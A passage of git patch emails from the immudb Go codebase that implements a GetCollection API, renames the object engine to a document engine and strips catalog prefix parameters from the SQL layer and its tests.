add document to collection + _, err = db.CreateDocument(context.Background(), &schemav2.DocumentInsertRequest{ + Collection: collectionName, + Document: []*structpb.Struct{ + { + Fields: map[string]*structpb.Value{ + "id": { + Kind: &structpb.Value_NumberValue{NumberValue: 1}, + }, + "pincode": { + Kind: &structpb.Value_NumberValue{NumberValue: 2}, + }, + "country_id": { + Kind: &structpb.Value_NumberValue{NumberValue: 3}, + }, + }, + }, + }, + }) + require.NoError(t, err) + + expressions := []*schemav2.DocumentQuery{ + { + Field: "country_id", + Operator: 0, // EQ + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 3}, + }, + }, + { + Field: "pincode", + Operator: 0, // EQ + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 2}, + }, + }, + } + + // expected := &sql.BinBoolExp{ + // op: sql.AND, + // left: &CmpBoolExp{ + // op: AND, + // left: &CmpBoolExp{op: EQ, left: &ColSelector{col: "country"}, right: &Varchar{val: "US"}}, + // right: &CmpBoolExp{op: LTE, left: &ColSelector{col: "time"}, right: &FnCall{fn: "now"}}, + // }, + // right: &CmpBoolExp{ + // op: EQ, + // left: &ColSelector{col: "name"}, + // right: &Varchar{val: "John Doe"}, + // }, + // } + + _, err = db.generateBinBoolExp(context.Background(), "mycollection", expressions) + require.NoError(t, err) + // if !reflect.DeepEqual(actual, expected) { + // t.Errorf("GenerateBinBoolExp() = %v, want %v", actual, expected) + // } +} diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index be3ff58686..86247b4900 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -246,7 +246,7 @@ func (db *closedDB) Truncate(ts time.Duration) error { } // GetCollection returns the collection schema -func (d *closedDB) GetCollection(ctx context.Context, collection string) (interface{}, error) { +func (d *closedDB) GetCollection(ctx context.Context, req *schemav2.CollectionGetRequest) (*schemav2.CollectionInformation, error) { return nil, store.ErrAlreadyClosed } From ba9d259fb95a2e90138bb43bba6f75eaa3716f4b Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Wed, 8 Mar 2023 11:34:25 +0530 Subject: [PATCH 0315/1062] chore(pkg/database): remove search through first query --- pkg/database/object_database.go | 35 --------------------------------- 1 file changed, 35 deletions(-) diff --git a/pkg/database/object_database.go b/pkg/database/object_database.go index 7d3a91b3f2..d19637b1cd 100644 --- a/pkg/database/object_database.go +++ b/pkg/database/object_database.go @@ -218,46 +218,11 @@ func (d *db) CreateDocument(ctx context.Context, req *schemav2.DocumentInsertReq // GetDocument returns the document func (d *db) GetDocument(ctx context.Context, req *schemav2.DocumentSearchRequest) (*schemav2.DocumentSearchResponse, error) { - query := req.Query[0] - tcols, err := d.getCollectionSchema(ctx, req.Collection) - if err != nil { - return nil, err - } - - // TODO: modify this check for multiple queries - isFieldValue := false - var fieldType string - for _, col := range tcols { - if col.Name() == query.Field { - isFieldValue = true - fieldType = col.Type() - } - } - if !isFieldValue { - return nil, fmt.Errorf("invalid field name: %v", query.Field) - } - - valType, err := valueTypeToExp(fieldType, query.Value) - if err != nil { - return nil, err - } - - // TODO: replace this with generateBinBoolExp exp, err := d.generateBinBoolExp(ctx, req.Collection, req.Query) if err != nil { return nil, err } - // op := sql.NewSelectStmt( - // d.objectEngine.CurrentDatabase(), - // req.Collection, - // sql.NewCmpBoolExp( - // int(query.Operator), - // sql.NewColSelector(d.objectEngine.CurrentDatabase(), req.Collection, query.GetField(), ""), - // valType, - // ), - // ) - op := sql.NewSelectStmt( d.objectEngine.CurrentDatabase(), req.Collection, From 394f9dd5bde424acf00a6f94b0c2660e72f03b9c Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Wed, 8 Mar 2023 12:48:57 +0530 Subject: [PATCH 0316/1062] chore(pkg/database): implement GetCollection API --- embedded/sql/catalog.go | 4 ++ pkg/database/object_database.go | 106 +++++++++++++++----------------- 2 files changed, 54 insertions(+), 56 deletions(-) diff --git a/embedded/sql/catalog.go b/embedded/sql/catalog.go index e5281dd7a4..a0aa403d8a 100644 --- a/embedded/sql/catalog.go +++ b/embedded/sql/catalog.go @@ -284,6 +284,10 @@ func (t *Table) GetColumnByID(id uint32) (*Column, error) { return col, nil } +func (t *Table) GetIndexes() []*Index { + return t.indexes +} + func (i *Index) IsPrimary() bool { return i.id == PKIndexID } diff --git a/pkg/database/object_database.go b/pkg/database/object_database.go index d19637b1cd..d549b13255 100644 --- a/pkg/database/object_database.go +++ b/pkg/database/object_database.go @@ -17,7 +17,7 @@ const ( // Schema to ValueType mapping var ( - SchemaToValueType = map[schemav2.PossibleIndexType]sql.SQLValueType{ + schemaToValueType = map[schemav2.PossibleIndexType]sql.SQLValueType{ schemav2.PossibleIndexType_STRING: sql.VarcharType, schemav2.PossibleIndexType_INTEGER: sql.IntegerType, } @@ -68,10 +68,49 @@ var ( } ) -// TODO: make new objectdb to embed object engine commands // GetCollection returns the collection schema -func (d *db) GetCollection(ctx context.Context, req *schemav2.CollectionGetRequest) (*schemav2.CollectionInformation, error) { - return nil, nil +func (d *db) GetCollection(ctx context.Context, req *schemav2.CollectionGetRequest) (resp *schemav2.CollectionInformation, err error) { + tx, err := d.objectEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) + if err != nil { + return nil, err + } + defer tx.Cancel() + + // check if collection exists + table, err := tx.Catalog().GetTableByName(d.name, req.Name) + if err != nil { + return nil, fmt.Errorf("collection %s does not exist", req.Name) + } + + // fetch primary and index keys from collection schema + indexes := table.GetIndexes() + if len(indexes) == 0 { + return nil, fmt.Errorf("collection %s does not have a indexes", req.Name) + } + + // iterate over indexes and extract primary and index keys + for _, idx := range indexes { + for _, col := range idx.Cols() { + var colType schemav2.PossibleIndexType + switch col.Type() { + case sql.VarcharType: + colType = schemav2.PossibleIndexType_STRING + case sql.IntegerType: + colType = schemav2.PossibleIndexType_INTEGER + case sql.BLOBType: + colType = schemav2.PossibleIndexType_STRING + } + + // check if primary key + if idx.IsPrimary() { + resp.PrimaryKeys[col.Name()] = colType + } else { + resp.IndexKeys[col.Name()] = colType + } + } + } + + return resp, nil } // CreateCollection creates a new collection @@ -80,8 +119,14 @@ func (d *db) CreateCollection(ctx context.Context, req *schemav2.CollectionCreat primaryKeys := make([]string, 0) collectionSpec := make([]*sql.ColSpec, 0, len(req.PrimaryKeys)) + // validate collection to contain at least one primary key + if len(req.PrimaryKeys) == 0 { + return fmt.Errorf("collection must have at least one primary key") + } + + // validate primary keys for name, pk := range req.PrimaryKeys { - schType, isValid := SchemaToValueType[pk] + schType, isValid := schemaToValueType[pk] if !isValid { return fmt.Errorf("invalid primary key type: %v", pk) } @@ -172,24 +217,6 @@ func (d *db) CreateDocument(ctx context.Context, req *schemav2.DocumentInsertReq values = append(values, valType) } } - // if rval, ok := doc.Fields[col.Name()]; ok && col.Name() != "_obj" { - // valType, err := valueTypeToExp(col.Type(), rval) - // if err != nil { - // return "", err - // } - // values = append(values, valType) - // } - // if col.Name() == "_obj" { - // document, err := object.NewDocumentFrom(doc) - // if err != nil { - // return "", err - // } - // res, err := document.MarshalJSON() - // if err != nil { - // return "", err - // } - // values = append(values, sql.NewBlob(res)) - // } } if len(values) > 0 { @@ -291,39 +318,6 @@ func (d *db) GetDocument(ctx context.Context, req *schemav2.DocumentSearchReques } // generateBinBoolExp generates a boolean expression from a list of expressions. -/* - TODO: remove this - An example format is below - /* - where: &BinBoolExp{ - op: AND, - left: &BinBoolExp{ - op: AND, - left: &CmpBoolExp{ - op: EQ, - left: &ColSelector{ - col: "country", - }, - right: &Varchar{val: "US"}, - }, - right: &CmpBoolExp{ - op: LE, - left: &ColSelector{ - col: "time", - }, - right: &FnCall{fn: "now"}, - }, - }, - right: &CmpBoolExp{ - op: EQ, - left: &ColSelector{ - col: "name", - }, - right: &Param{id: "pname"}, - }, - }, - -*/ func (d *db) generateBinBoolExp(ctx context.Context, collection string, expressions []*schemav2.DocumentQuery) (*sql.BinBoolExp, error) { if len(expressions) == 0 { return nil, nil From 60723bdc67e987fe5fdf505e6fe66cd7ac19af57 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Thu, 9 Mar 2023 05:45:01 +0530 Subject: [PATCH 0317/1062] chore(pkg/database): change objectEngine to documentEngine --- embedded/{object => document}/document.go | 2 +- embedded/document/engine.go | 19 +++ embedded/{object => document}/engine_test.go | 10 +- embedded/document/schema.go | 12 ++ embedded/object/schema.go | 23 ---- embedded/sql/catalog.go | 88 +++--------- embedded/sql/engine.go | 24 ++-- embedded/sql/engine_test.go | 32 ++--- embedded/sql/sql_tx.go | 12 -- pkg/database/database.go | 126 +++++++++++++++--- ...bject_database.go => document_database.go} | 46 ++++--- ...base_test.go => document_database_test.go} | 0 pkg/database/interface.go | 115 ---------------- pkg/util/flatten.go | 74 ---------- pkg/util/flatten_test.go | 80 ----------- 15 files changed, 221 insertions(+), 442 deletions(-) rename embedded/{object => document}/document.go (99%) create mode 100644 embedded/document/engine.go rename embedded/{object => document}/engine_test.go (87%) create mode 100644 embedded/document/schema.go delete mode 100644 embedded/object/schema.go rename pkg/database/{object_database.go => document_database.go} (82%) rename pkg/database/{object_database_test.go => document_database_test.go} (100%) delete mode 100644 pkg/database/interface.go delete mode 100644 pkg/util/flatten.go delete mode 100644 pkg/util/flatten_test.go diff --git a/embedded/object/document.go b/embedded/document/document.go similarity index 99% rename from embedded/object/document.go rename to embedded/document/document.go index ed671c89e3..65a2e25c7a 100644 --- a/embedded/object/document.go +++ b/embedded/document/document.go @@ -1,4 +1,4 @@ -package object +package document import ( "encoding/json" diff --git a/embedded/document/engine.go b/embedded/document/engine.go new file mode 100644 index 0000000000..492f6001a4 --- /dev/null +++ b/embedded/document/engine.go @@ -0,0 +1,19 @@ +package document + +import ( + "github.com/codenotary/immudb/embedded/sql" + "github.com/codenotary/immudb/embedded/store" +) + +func NewEngine(store *store.ImmuStore, opts *sql.Options) (*Engine, error) { + engine, err := sql.NewEngine(store, opts) + if err != nil { + return nil, err + } + + return &Engine{engine}, nil +} + +type Engine struct { + *sql.Engine +} diff --git a/embedded/object/engine_test.go b/embedded/document/engine_test.go similarity index 87% rename from embedded/object/engine_test.go rename to embedded/document/engine_test.go index de43b03c52..cdc68e3757 100644 --- a/embedded/object/engine_test.go +++ b/embedded/document/engine_test.go @@ -1,4 +1,4 @@ -package object +package document import ( "context" @@ -22,13 +22,7 @@ func TestCreateCollection(t *testing.T) { require.NoError(t, err) defer closeStore(t, st) - opts := sql.DefaultOptions(). - WithPrefix(ObjectPrefix). - WithDatabasePrefix(catalogDatabasePrefix). - WithTablePrefix(catalogCollectionPrefix). - WithColumnPrefix(catalogColumnPrefix). - WithIndexPrefix(catalogIndexPrefix) - + opts := DefaultOptions() engine, err := sql.NewEngine(st, opts) require.NoError(t, err) diff --git a/embedded/document/schema.go b/embedded/document/schema.go new file mode 100644 index 0000000000..e4958dd487 --- /dev/null +++ b/embedded/document/schema.go @@ -0,0 +1,12 @@ +package document + +import ( + "github.com/codenotary/immudb/embedded/sql" +) + +var ObjectPrefix = []byte{3} + +func DefaultOptions() *sql.Options { + return sql.DefaultOptions(). + WithPrefix(ObjectPrefix) +} diff --git a/embedded/object/schema.go b/embedded/object/schema.go deleted file mode 100644 index 49ef32889c..0000000000 --- a/embedded/object/schema.go +++ /dev/null @@ -1,23 +0,0 @@ -package object - -import ( - "github.com/codenotary/immudb/embedded/sql" -) - -var ObjectPrefix = []byte{3} - -const ( - catalogDatabasePrefix = "CTL.OBJ.DATABASE." // (key=CTL.OBJ.DATABASE.{dbID}, value={dbNAME}) - catalogCollectionPrefix = "CTL.OBJ.COLLECTION." // (key=CTL.OBJ.COLLECTION.{dbID}{collectionID}, value={collectionNAME}) - catalogColumnPrefix = "CTL.OBJ.COLUMN." // (key=CTL.OBJ.COLUMN.{dbID}{collectionID}{colID}{colTYPE}, value={(auto_incremental | nullable){maxLen}{colNAME}}) - catalogIndexPrefix = "CTL.OBJ.INDEX." // (key=CTL.OBJ.INDEX.{dbID}{collectionID}{indexID}, value={unique {colID1}(ASC|DESC)...{colIDN}(ASC|DESC)}) -) - -func DefaultOptions() *sql.Options { - return sql.DefaultOptions(). - WithPrefix(ObjectPrefix). - WithDatabasePrefix(catalogDatabasePrefix). - WithTablePrefix(catalogCollectionPrefix). - WithColumnPrefix(catalogColumnPrefix). - WithIndexPrefix(catalogIndexPrefix) -} diff --git a/embedded/sql/catalog.go b/embedded/sql/catalog.go index a0aa403d8a..a85da0cda4 100644 --- a/embedded/sql/catalog.go +++ b/embedded/sql/catalog.go @@ -29,32 +29,6 @@ import ( type Catalog struct { dbsByID map[uint32]*Database dbsByName map[string]*Database - - // prefixes - databasePrefix string - tablePrefix string - columnPrefix string - indexPrefix string -} - -func (c *Catalog) WithDatabasePrefix(databasePrefix string) *Catalog { - c.databasePrefix = databasePrefix - return c -} - -func (c *Catalog) WithTablePrefix(tablePrefix string) *Catalog { - c.tablePrefix = tablePrefix - return c -} - -func (c *Catalog) WithColumnPrefix(columnPrefix string) *Catalog { - c.columnPrefix = columnPrefix - return c -} - -func (c *Catalog) WithIndexPrefix(indexPrefix string) *Catalog { - c.indexPrefix = indexPrefix - return c } type Database struct { @@ -64,11 +38,6 @@ type Database struct { tables []*Table tablesByID map[uint32]*Table tablesByName map[string]*Table - - // prefixes - tablePrefix string - columnPrefix string - indexPrefix string } type Table struct { @@ -108,11 +77,6 @@ func NewCatalog(databasePrefix, tablePrefix, columnPrefix, indexPrefix string) * return &Catalog{ dbsByID: map[uint32]*Database{}, dbsByName: map[string]*Database{}, - - databasePrefix: databasePrefix, - tablePrefix: tablePrefix, - columnPrefix: columnPrefix, - indexPrefix: indexPrefix, } } @@ -120,11 +84,6 @@ func newSQLCatalog() *Catalog { return &Catalog{ dbsByID: map[uint32]*Database{}, dbsByName: map[string]*Database{}, - - databasePrefix: catalogDatabasePrefix, - tablePrefix: catalogTablePrefix, - columnPrefix: catalogColumnPrefix, - indexPrefix: catalogIndexPrefix, } } @@ -149,9 +108,6 @@ func (c *Catalog) newDatabase(id uint32, name string) (*Database, error) { name: name, tablesByID: map[uint32]*Table{}, tablesByName: map[string]*Table{}, - tablePrefix: c.tablePrefix, - columnPrefix: c.columnPrefix, - indexPrefix: c.indexPrefix, } c.dbsByID[db.id] = db @@ -591,7 +547,7 @@ func (c *Catalog) Load(prefix []byte, tx *store.OngoingTx) error { func (c *Catalog) load(prefix []byte, tx *store.OngoingTx) error { dbReaderSpec := store.KeyReaderSpec{ - Prefix: mapKey(prefix, c.databasePrefix), + Prefix: mapKey(prefix, catalogDatabasePrefix), Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, } @@ -610,7 +566,7 @@ func (c *Catalog) load(prefix []byte, tx *store.OngoingTx) error { return err } - id, err := unmapDatabaseID(prefix, mkey, c.databasePrefix) + id, err := unmapDatabaseID(prefix, mkey) if err != nil { return err } @@ -625,7 +581,7 @@ func (c *Catalog) load(prefix []byte, tx *store.OngoingTx) error { return err } - err = db.loadTables(prefix, c.indexPrefix, tx) + err = db.loadTables(prefix, tx) if err != nil { return err } @@ -634,9 +590,9 @@ func (c *Catalog) load(prefix []byte, tx *store.OngoingTx) error { return nil } -func (db *Database) loadTables(prefix []byte, indexPrefix string, tx *store.OngoingTx) error { +func (db *Database) loadTables(prefix []byte, tx *store.OngoingTx) error { dbReaderSpec := store.KeyReaderSpec{ - Prefix: mapKey(prefix, db.tablePrefix, EncodeID(db.id)), + Prefix: mapKey(prefix, catalogTablePrefix, EncodeID(db.id)), Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, } @@ -655,7 +611,7 @@ func (db *Database) loadTables(prefix []byte, indexPrefix string, tx *store.Ongo return err } - dbID, tableID, err := unmapTableID(prefix, mkey, db.tablePrefix) + dbID, tableID, err := unmapTableID(prefix, mkey) if err != nil { return err } @@ -664,7 +620,7 @@ func (db *Database) loadTables(prefix []byte, indexPrefix string, tx *store.Ongo return ErrCorruptedData } - colSpecs, err := loadColSpecs(db.id, tableID, tx, prefix, db.columnPrefix) + colSpecs, err := loadColSpecs(db.id, tableID, tx, prefix) if err != nil { return err } @@ -683,7 +639,7 @@ func (db *Database) loadTables(prefix []byte, indexPrefix string, tx *store.Ongo return ErrCorruptedData } - err = table.loadIndexes(prefix, indexPrefix, tx) + err = table.loadIndexes(prefix, tx) if err != nil { return err } @@ -735,8 +691,8 @@ func loadMaxPK(prefix []byte, tx *store.OngoingTx, table *Table) ([]byte, error) return unmapIndexEntry(table.primaryIndex, prefix, mkey) } -func loadColSpecs(dbID, tableID uint32, tx *store.OngoingTx, prefix []byte, columnPrefix string) (specs []*ColSpec, err error) { - initialKey := mapKey(prefix, columnPrefix, EncodeID(dbID), EncodeID(tableID)) +func loadColSpecs(dbID, tableID uint32, tx *store.OngoingTx, prefix []byte) (specs []*ColSpec, err error) { + initialKey := mapKey(prefix, catalogColumnPrefix, EncodeID(dbID), EncodeID(tableID)) dbReaderSpec := store.KeyReaderSpec{ Prefix: initialKey, @@ -760,7 +716,7 @@ func loadColSpecs(dbID, tableID uint32, tx *store.OngoingTx, prefix []byte, colu return nil, err } - mdbID, mtableID, colID, colType, err := unmapColSpec(prefix, mkey, columnPrefix) + mdbID, mtableID, colID, colType, err := unmapColSpec(prefix, mkey) if err != nil { return nil, err } @@ -795,8 +751,8 @@ func loadColSpecs(dbID, tableID uint32, tx *store.OngoingTx, prefix []byte, colu return } -func (table *Table) loadIndexes(prefix []byte, indexPrefix string, tx *store.OngoingTx) error { - initialKey := mapKey(prefix, indexPrefix, EncodeID(table.db.id), EncodeID(table.id)) +func (table *Table) loadIndexes(prefix []byte, tx *store.OngoingTx) error { + initialKey := mapKey(prefix, catalogIndexPrefix, EncodeID(table.db.id), EncodeID(table.id)) idxReaderSpec := store.KeyReaderSpec{ Prefix: initialKey, @@ -818,7 +774,7 @@ func (table *Table) loadIndexes(prefix []byte, indexPrefix string, tx *store.Ong return err } - dbID, tableID, indexID, err := unmapIndex(prefix, mkey, indexPrefix) + dbID, tableID, indexID, err := unmapIndex(prefix, mkey) if err != nil { return err } @@ -875,8 +831,8 @@ func trimPrefix(prefix, mkey []byte, mappingPrefix []byte) ([]byte, error) { return mkey[len(prefix)+len(mappingPrefix):], nil } -func unmapDatabaseID(prefix, mkey []byte, dbPrefix string) (dbID uint32, err error) { - encID, err := trimPrefix(prefix, mkey, []byte(dbPrefix)) +func unmapDatabaseID(prefix, mkey []byte) (dbID uint32, err error) { + encID, err := trimPrefix(prefix, mkey, []byte(catalogDatabasePrefix)) if err != nil { return 0, err } @@ -888,8 +844,8 @@ func unmapDatabaseID(prefix, mkey []byte, dbPrefix string) (dbID uint32, err err return binary.BigEndian.Uint32(encID), nil } -func unmapTableID(prefix, mkey []byte, tablePrefix string) (dbID, tableID uint32, err error) { - encID, err := trimPrefix(prefix, mkey, []byte(tablePrefix)) +func unmapTableID(prefix, mkey []byte) (dbID, tableID uint32, err error) { + encID, err := trimPrefix(prefix, mkey, []byte(catalogTablePrefix)) if err != nil { return 0, 0, err } @@ -904,8 +860,8 @@ func unmapTableID(prefix, mkey []byte, tablePrefix string) (dbID, tableID uint32 return } -func unmapColSpec(prefix, mkey []byte, columnPrefix string) (dbID, tableID, colID uint32, colType SQLValueType, err error) { - encID, err := trimPrefix(prefix, mkey, []byte(columnPrefix)) +func unmapColSpec(prefix, mkey []byte) (dbID, tableID, colID uint32, colType SQLValueType, err error) { + encID, err := trimPrefix(prefix, mkey, []byte(catalogColumnPrefix)) if err != nil { return 0, 0, 0, "", err } @@ -938,8 +894,8 @@ func asType(t string) (SQLValueType, error) { return t, ErrCorruptedData } -func unmapIndex(prefix, mkey []byte, indexPrefix string) (dbID, tableID, indexID uint32, err error) { - encID, err := trimPrefix(prefix, mkey, []byte(indexPrefix)) +func unmapIndex(prefix, mkey []byte) (dbID, tableID, indexID uint32, err error) { + encID, err := trimPrefix(prefix, mkey, []byte(catalogIndexPrefix)) if err != nil { return 0, 0, 0, err } diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index ec685fba3e..d3600281dd 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -513,8 +513,8 @@ func (e *Engine) CopyCatalogToTx(ctx context.Context, tx *store.OngoingTx) error } // addSchemaToTx adds the schema to the ongoing transaction. -func (t *Table) addIndexesToTx(sqlPrefix []byte, tx *store.OngoingTx, indexPrefix string) error { - initialKey := mapKey(sqlPrefix, indexPrefix, EncodeID(t.db.id), EncodeID(t.id)) +func (t *Table) addIndexesToTx(sqlPrefix []byte, tx *store.OngoingTx) error { + initialKey := mapKey(sqlPrefix, catalogIndexPrefix, EncodeID(t.db.id), EncodeID(t.id)) idxReaderSpec := store.KeyReaderSpec{ Prefix: initialKey, @@ -536,7 +536,7 @@ func (t *Table) addIndexesToTx(sqlPrefix []byte, tx *store.OngoingTx, indexPrefi return err } - dbID, tableID, _, err := unmapIndex(sqlPrefix, mkey, indexPrefix) + dbID, tableID, _, err := unmapIndex(sqlPrefix, mkey) if err != nil { return err } @@ -565,7 +565,7 @@ func (t *Table) addIndexesToTx(sqlPrefix []byte, tx *store.OngoingTx, indexPrefi // addSchemaToTx adds the schema of the catalog to the given transaction. func (d *Database) addTablesToTx(sqlPrefix []byte, tx *store.OngoingTx) error { dbReaderSpec := store.KeyReaderSpec{ - Prefix: mapKey(sqlPrefix, d.tablePrefix, EncodeID(d.id)), + Prefix: mapKey(sqlPrefix, catalogTablePrefix, EncodeID(d.id)), Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, } @@ -584,7 +584,7 @@ func (d *Database) addTablesToTx(sqlPrefix []byte, tx *store.OngoingTx) error { return err } - dbID, tableID, err := unmapTableID(sqlPrefix, mkey, d.tablePrefix) + dbID, tableID, err := unmapTableID(sqlPrefix, mkey) if err != nil { return err } @@ -594,7 +594,7 @@ func (d *Database) addTablesToTx(sqlPrefix []byte, tx *store.OngoingTx) error { } // read col specs into tx - colSpecs, err := addColSpecsToTx(d.id, tableID, tx, sqlPrefix, d.columnPrefix) + colSpecs, err := addColSpecsToTx(d.id, tableID, tx, sqlPrefix) if err != nil { return err } @@ -622,7 +622,7 @@ func (d *Database) addTablesToTx(sqlPrefix []byte, tx *store.OngoingTx) error { } // read index specs into tx - err = table.addIndexesToTx(sqlPrefix, tx, d.indexPrefix) + err = table.addIndexesToTx(sqlPrefix, tx) if err != nil { return err } @@ -635,7 +635,7 @@ func (d *Database) addTablesToTx(sqlPrefix []byte, tx *store.OngoingTx) error { // addSchemaToTx adds the schema of the catalog to the given transaction. func (c *Catalog) addSchemaToTx(sqlPrefix []byte, tx *store.OngoingTx) error { dbReaderSpec := store.KeyReaderSpec{ - Prefix: mapKey(sqlPrefix, c.databasePrefix), + Prefix: mapKey(sqlPrefix, catalogDatabasePrefix), Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, } @@ -655,7 +655,7 @@ func (c *Catalog) addSchemaToTx(sqlPrefix []byte, tx *store.OngoingTx) error { return err } - id, err := unmapDatabaseID(sqlPrefix, mkey, c.databasePrefix) + id, err := unmapDatabaseID(sqlPrefix, mkey) if err != nil { return err } @@ -690,8 +690,8 @@ func (c *Catalog) addSchemaToTx(sqlPrefix []byte, tx *store.OngoingTx) error { } // addColSpecsToTx adds the column specs of the given table to the given transaction. -func addColSpecsToTx(dbID, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte, columnPrefix string) (specs []*ColSpec, err error) { - initialKey := mapKey(sqlPrefix, columnPrefix, EncodeID(dbID), EncodeID(tableID)) +func addColSpecsToTx(dbID, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte) (specs []*ColSpec, err error) { + initialKey := mapKey(sqlPrefix, catalogColumnPrefix, EncodeID(dbID), EncodeID(tableID)) dbReaderSpec := store.KeyReaderSpec{ Prefix: initialKey, @@ -715,7 +715,7 @@ func addColSpecsToTx(dbID, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte return nil, err } - mdbID, mtableID, colID, colType, err := unmapColSpec(sqlPrefix, mkey, columnPrefix) + mdbID, mtableID, colID, colType, err := unmapColSpec(sqlPrefix, mkey) if err != nil { return nil, err } diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index e7709a9234..645fa5aae3 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -4264,32 +4264,32 @@ func TestTrimPrefix(t *testing.T) { func TestUnmapDatabaseId(t *testing.T) { e := Engine{prefix: []byte("e-prefix.")} - id, err := unmapDatabaseID(e.prefix, nil, catalogDatabasePrefix) + id, err := unmapDatabaseID(e.prefix, nil) require.ErrorIs(t, err, ErrIllegalMappedKey) require.Zero(t, id) - id, err = unmapDatabaseID(e.prefix, []byte{}, catalogDatabasePrefix) + id, err = unmapDatabaseID(e.prefix, []byte{}) require.ErrorIs(t, err, ErrIllegalMappedKey) require.Zero(t, id) - id, err = unmapDatabaseID(e.prefix, []byte("pref"), catalogDatabasePrefix) + id, err = unmapDatabaseID(e.prefix, []byte("pref")) require.ErrorIs(t, err, ErrIllegalMappedKey) require.Zero(t, id) - id, err = unmapDatabaseID(e.prefix, []byte("e-prefix.a"), catalogDatabasePrefix) + id, err = unmapDatabaseID(e.prefix, []byte("e-prefix.a")) require.ErrorIs(t, err, ErrIllegalMappedKey) require.Zero(t, id) id, err = unmapDatabaseID(e.prefix, []byte( "e-prefix.CTL.DATABASE.a", - ), catalogDatabasePrefix) + )) require.ErrorIs(t, err, ErrCorruptedData) require.Zero(t, id) id, err = unmapDatabaseID(e.prefix, append( []byte("e-prefix.CTL.DATABASE."), 1, 2, 3, 4, - ), catalogDatabasePrefix) + )) require.NoError(t, err) require.EqualValues(t, 0x01020304, id) } @@ -4297,14 +4297,14 @@ func TestUnmapDatabaseId(t *testing.T) { func TestUnmapTableId(t *testing.T) { e := Engine{prefix: []byte("e-prefix.")} - dbID, tableID, err := unmapTableID(e.prefix, nil, catalogTablePrefix) + dbID, tableID, err := unmapTableID(e.prefix, nil) require.ErrorIs(t, err, ErrIllegalMappedKey) require.Zero(t, dbID) require.Zero(t, tableID) dbID, tableID, err = unmapTableID(e.prefix, []byte( "e-prefix.CTL.TABLE.a", - ), catalogTablePrefix) + )) require.ErrorIs(t, err, ErrCorruptedData) require.Zero(t, dbID) require.Zero(t, tableID) @@ -4313,7 +4313,7 @@ func TestUnmapTableId(t *testing.T) { []byte("e-prefix.CTL.TABLE."), 0x01, 0x02, 0x03, 0x04, 0x11, 0x12, 0x13, 0x14, - ), catalogTablePrefix) + )) require.NoError(t, err) require.EqualValues(t, 0x01020304, dbID) require.EqualValues(t, 0x11121314, tableID) @@ -4322,7 +4322,7 @@ func TestUnmapTableId(t *testing.T) { func TestUnmapColSpec(t *testing.T) { e := Engine{prefix: []byte("e-prefix.")} - dbID, tableID, colID, colType, err := unmapColSpec(e.prefix, nil, catalogColumnPrefix) + dbID, tableID, colID, colType, err := unmapColSpec(e.prefix, nil) require.ErrorIs(t, err, ErrIllegalMappedKey) require.Zero(t, dbID) require.Zero(t, tableID) @@ -4331,7 +4331,7 @@ func TestUnmapColSpec(t *testing.T) { dbID, tableID, colID, colType, err = unmapColSpec(e.prefix, []byte( "e-prefix.CTL.COLUMN.a", - ), catalogColumnPrefix) + )) require.ErrorIs(t, err, ErrCorruptedData) require.Zero(t, dbID) require.Zero(t, tableID) @@ -4344,7 +4344,7 @@ func TestUnmapColSpec(t *testing.T) { 0x11, 0x12, 0x13, 0x14, 0x21, 0x22, 0x23, 0x24, 0x00, - ), catalogColumnPrefix) + )) require.ErrorIs(t, err, ErrCorruptedData) require.Zero(t, dbID) require.Zero(t, tableID) @@ -4357,7 +4357,7 @@ func TestUnmapColSpec(t *testing.T) { 0x11, 0x12, 0x13, 0x14, 0x21, 0x22, 0x23, 0x24, 'I', 'N', 'T', 'E', 'G', 'E', 'R', - ), catalogColumnPrefix) + )) require.NoError(t, err) require.EqualValues(t, 0x01020304, dbID) @@ -4369,7 +4369,7 @@ func TestUnmapColSpec(t *testing.T) { func TestUnmapIndex(t *testing.T) { e := Engine{prefix: []byte("e-prefix.")} - dbID, tableID, colID, err := unmapIndex(e.prefix, nil, catalogIndexPrefix) + dbID, tableID, colID, err := unmapIndex(e.prefix, nil) require.ErrorIs(t, err, ErrIllegalMappedKey) require.Zero(t, dbID) require.Zero(t, tableID) @@ -4377,7 +4377,7 @@ func TestUnmapIndex(t *testing.T) { dbID, tableID, colID, err = unmapIndex(e.prefix, []byte( "e-prefix.CTL.INDEX.a", - ), catalogIndexPrefix) + )) require.ErrorIs(t, err, ErrCorruptedData) require.Zero(t, dbID) require.Zero(t, tableID) @@ -4388,7 +4388,7 @@ func TestUnmapIndex(t *testing.T) { 0x01, 0x02, 0x03, 0x04, 0x11, 0x12, 0x13, 0x14, 0x21, 0x22, 0x23, 0x24, - ), catalogIndexPrefix) + )) require.NoError(t, err) require.EqualValues(t, 0x01020304, dbID) diff --git a/embedded/sql/sql_tx.go b/embedded/sql/sql_tx.go index d5c7c997ec..7b7c6dfc03 100644 --- a/embedded/sql/sql_tx.go +++ b/embedded/sql/sql_tx.go @@ -24,18 +24,6 @@ import ( "github.com/codenotary/immudb/embedded/store" ) -func NewSQLTx(engine *Engine, opts *TxOptions, tx *store.OngoingTx, catalog *Catalog, currentDB *Database) *SQLTx { - return &SQLTx{ - engine: engine, - opts: opts, - tx: tx, - catalog: catalog, - currentDB: currentDB, - lastInsertedPKs: make(map[string]int64), - firstInsertedPKs: make(map[string]int64), - } -} - // SQLTx (no-thread safe) represents an interactive or incremental transaction with support of RYOW type SQLTx struct { engine *Engine diff --git a/pkg/database/database.go 